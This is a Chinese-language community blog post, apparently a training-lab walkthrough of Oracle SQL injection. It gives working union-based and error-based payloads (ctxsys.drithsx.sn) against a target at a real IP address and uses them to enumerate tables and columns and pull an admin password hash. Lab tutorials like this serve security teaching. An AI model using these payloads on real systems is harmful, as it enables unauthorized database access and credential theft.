5-5 Oracle注入 — 报错注入

举报
Gere 发表于 2022/12/31 08:20:57 2022/12/31
【摘要】 一、注入函数解析Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY那么要它有什么用妮?它实际上是为了满足查询语句的结构而产生比如你想查询你的用户名 select user from Dual调用系统函数:(获得随机值:select dbms_random.random from dual)还能做加减法:select 9+1 from dual……………...


一、注入函数解析

Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY
那么要它有什么用妮?
它实际上是为了满足查询语句的结构而产生
比如你想查询你的用户名 select user from Dual
调用系统函数:(获得随机值:select dbms_random.random from dual)
还能做加减法:select 9+1 from dual
………………
还有各种功能自己去挖掘吧

select*from all_tables 查询出所有的表
select*from user_tables 查询出当前用户的表
select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns  查询出当前用户的字段
select*from v$version 查版本
rownum=1   (限制查询返回的总行数为一条)

对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
我们可以用rownum<3来要求他输出2条数据

and 字段名<>字段值 (一个条件,查询时排除符合条件的数据 当字段名中字段值符合数据就排除符合这个条件的数据)

eg: and TABLE_NAME<>\'DUAL\'
查询时符合table_name字段中值为DUAL的整条数据都会被排除

二、报错注入+联合查询(union all)

http://59.63.200.79:8808/index_x.php

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- 查询数据库版本

扩展:
https://www.freebuf.com/column/174974.html(注入总结文章)

三、靶场演示

1.判断注入点

http://59.63.200.79:8808/?id=1 and 1=1 页面正常

http://59.63.200.79:8808/?id=1 and 1=2 页面异常

2.判断字段数

http://59.63.200.79:8808/?id=1 order by 4

http://59.63.200.79:8808/?id=1 order by 5 页面异常

有5个字段

3.看回显点

http://59.63.200.79:8808/?id=1 union all select null,null,null,null from dual

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(\'a\'),to_nchar(\'b\'),0 from dual

image-20201022004525386

字符串需要转换成to_nchar类型,ORACEL要求数据类型正确这里需要不断尝试数据类型

4.查看当前的表

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables

NEWS

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\'

ADMIN

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\' and TABLE_NAME<>\'ADMIN\'

MD5

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\' and TABLE_NAME<>\'ADMIN\' and TABLE_NAME<>\'MD5\'

没有找到对应数据

ORACEL查询表用 select TABLE_NAME from user_tables

由于ORACLE没有limit,实现单个输出可以用 <>上次出现 或者rownum r方法

5.查询admin表的字段

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=1

ID

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=2

UNAME

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=3

UPASS

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=4

没有找到对应数据

6.查看admin表UPASS字段第3条

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(UPASS),to_nchar(\'b\'),0 from(select rownum r,UPASS from admin) where r=3

2a61f8bcfe7535eadcfa69eb4406ceb9

7.报错注入方法

http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --+

image-20201022011302583

image-20201022011322456

http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from (select rownum r,UPASS from admin) where r=3))

image-20201022012005157

报错注入优点相对于上一种,不用猜测类型和进行类型转化,不用判断回显位置

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。